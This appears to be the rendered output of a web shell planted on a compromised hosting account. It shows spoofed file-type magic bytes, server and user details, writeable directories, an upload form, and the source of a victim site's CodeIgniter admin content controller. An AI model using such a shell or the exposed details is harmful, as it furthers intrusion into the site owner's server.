%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/apps/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/controllers/admin/Content.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Content extends CI_Controller {
	
	
	function __construct(){
		
	 parent::__construct();
		$this->load->library('form_validation');	
		$this->load->helper(array('form', 'url')); 	 
		$this->load->helper('cookie');
		//

		$this->load->library('session'); 
		$this->load->helper('security');
		$this->load->library('email'); 
		$this->load->library('encrypt');
		// Custom Ours

		$this->load->library('login');  
        $this->load->library('image');   		
		$this->login->check_login();	 
		$this->load->model('content_model');   
		$this->load->model('commonmod_model');   
		$this->load->database();   
	}

	
	public function index()
	{
		$data['Content'] =  $this->content_model->GetALLContent();
		$this->load->view('admin/content/index',$data);
	}
	
	
	public function add()
	{
		 
	
		  if($this->input->post('submitF') && $this->input->post('submitF')!="") 
		 {	
	

	      $config = array( 	           
			array('field' => 'page_title','label' => 'Title','rules' => 'trim|required|xss_clean'),
			array('field' => 'page_heading','label' => 'Page Heading','rules' => 'trim|required|xss_clean'),
			array('field' => 'meta_title','label' => 'Meta Title','rules' => 'trim|required|xss_clean'),
			
			array('field' => 'status','label' => 'Meta Keywords','rules' => 'trim|required|xss_clean')
		    );
			
			$this->form_validation->set_rules($config);		
			if ($this->form_validation->run() === FALSE)
			{	

			$this->load->view('admin/content/add'); 
			
			}
			else{
			$data = array(
			'page_title' => $this->input->post('page_title'),
			'page_heading' => $this->input->post('page_heading'),
			'page_description' => $this->input->post('page_description'),
			'page_short_description' => $this->input->post('page_short_description'),
			
			'heading_title' => $this->input->post('heading_title'),
			'heading_description' => $this->input->post('heading_description'),
			'read_more_text' => $this->input->post('read_more_text'),
			'read_more_link' => $this->input->post('read_more_link'),
			
			'meta_title' => $this->input->post('meta_title'),
			'meta_description' => $this->input->post('meta_description'),
			'meta_keywords' => $this->input->post('meta_keywords'),
			'add_date' => date("Y-m-d h:i:s"),
			
			'status' => $this->input->post('status')
             );  		

			$this->db->insert('bh_content', $data);
			$Page_id = $this->db->insert_id();
			
			// Add new Page Image
			
			if ($_FILES['banner_image']['name'])
				{	
			    $error_view_url = 'admin/user/edit_user';			
			    $FileName =  $this->commonmod_model->uploadCommonFile('./webroot/images/original/','./webroot/images/pages/','2048','3000','1000','banner_image',$error_view_url);
				if($FileName!=''){
				  $upd_data = array("banner_image"=>$FileName);
				  $this->db->where('id', $Page_id);
			      $this->db->update('bh_content', $upd_data);
				}
				}
				
				
			for($k=1;$k<=3;$k++){
			if ($_FILES['page_image'.$k]['name'])
				{	
             $error_view_url = 'admin/user/add_user';			
			 $FileName =  $this->commonmod_model->uploadCommonFile('./webroot/images/original/','./webroot/images/pages/','2048','1024','768','page_image'.$k,$error_view_url);
				
					if($FileName!=""){
					$upd_data = array("page_image".$k=>$FileName);
					$this->db->where('id', $Page_id);
					$this->db->update('bh_content', $upd_data);
					}
				}
				} 
			$this->session->set_flashdata('error',"Page is Added Successfully");
			redirect(BASE_URL.'admin/content');
			}
			
			
		
			}
		  else{
		   $this->load->view('admin/content/add');
		 }
		
		
	}
	
	public function edit($id)
	{
		$data['ContentData'] =  $this->content_model->GetContentByID($id);
		   if($id==""){  
		    $this->session->set_flashdata('error',"Incorrect Url");
			redirect(BASE_URL.'admin/content'); 
			}
	
		  if($this->input->post('submitF') && $this->input->post('submitF')!="") 
		 {	
	

	       $config = array( 	           
			array('field' => 'page_title','label' => 'Title','rules' => 'trim|required|xss_clean'),
			array('field' => 'page_heading','label' => 'Page Heading','rules' => 'trim|required|xss_clean'),
			array('field' => 'meta_title','label' => 'Meta Title','rules' => 'trim|required|xss_clean'),
			
			array('field' => 'status','label' => 'Meta Keywords','rules' => 'trim|required|xss_clean')
		    );
			
			
			$this->form_validation->set_rules($config);		
			if ($this->form_validation->run() === FALSE)
			{	

			$this->load->view('admin/content/edit',$data); 
			
			}
			else{
			// Edit new User Details
			$upd_data = array(
		'page_title' => $this->input->post('page_title'),
		'page_heading' => $this->input->post('page_heading'),
			'page_short_description' => $this->input->post('page_short_description'),
			'page_description' => $this->input->post('page_description'),
			
			'heading_title' => $this->input->post('heading_title'),
			'heading_description' => $this->input->post('heading_description'),
			'read_more_text' => $this->input->post('read_more_text'),
			'read_more_link' => $this->input->post('read_more_link'),
			
			'meta_title' => $this->input->post('meta_title'),
			'meta_description' => $this->input->post('meta_description'),
			'meta_keywords' => $this->input->post('meta_keywords'),
			'updated_date' => date("Y-m-d h:i:s"),
			
			'status' => $this->input->post('status')
             );  	
			
            $this->db->where('id', $id);
			$this->db->update('bh_content', $upd_data);
			
			// edit page image
			if ($_FILES['banner_image']['name'])
				{	
			    $error_view_url = 'admin/user/edit_user';			
			    $FileName =  $this->commonmod_model->uploadCommonFile('./webroot/images/original/','./webroot/images/pages/','2048','3000','1000','banner_image',$error_view_url);
				if($FileName!=''){
					
				$editdata  =  $this->content_model->GetContentByID($id);
				$old_image_path = $this->image->GetImageDirectory('pages',$editdata[0]['banner_image']);
				@unlink($old_image_path.'/'.$editdata[0]['banner_image']);
				
				$upd_data = array("banner_image"=>$FileName);
				  $this->db->where('id', $id);
			      $this->db->update('bh_content', $upd_data);
				}
				}
				
			// Add new Page Image
			for($k=1;$k<=3;$k++){
			if ($_FILES['page_image'.$k]['name'])
				{	
                	
				$error_view_url = 'admin/user/add_user';			
			    $FileName =  $this->commonmod_model->uploadCommonFile('./webroot/images/original/','./webroot/images/pages/','2048','3000','1000','page_image'.$k,$error_view_url);

		
				
				
				if($FileName!=''){
					
				$editdata  =  $this->content_model->GetContentByID($id);
				$old_image_path = $this->image->GetImageDirectory('pages',$editdata[0]['page_image'.$k]);
				@unlink($old_image_path.'/'.$editdata[0]['page_image'.$k]);
				
				$upd_data = array("page_image".$k=>$FileName);
				  $this->db->where('id', $id);
			      $this->db->update('bh_content', $upd_data);
				}
				}
				} 
			
			
			$this->session->set_flashdata('error',"Content is Updated Successfully.");
			redirect(BASE_URL.'admin/content');
			}
		 }
		 
		$this->load->view('admin/content/edit',$data);
		
		
	}
	
	
	
	public function delete($id){
		if($id!=''){
		$this->db->where("id",$id);
		$this->db->delete("bh_content");
		$this->session->set_flashdata('error',"Content is  Deleted Successfully.");
			
		
		}
		redirect(BASE_URL.'admin/content');
	}
	
	

	
}

VaKeR 2022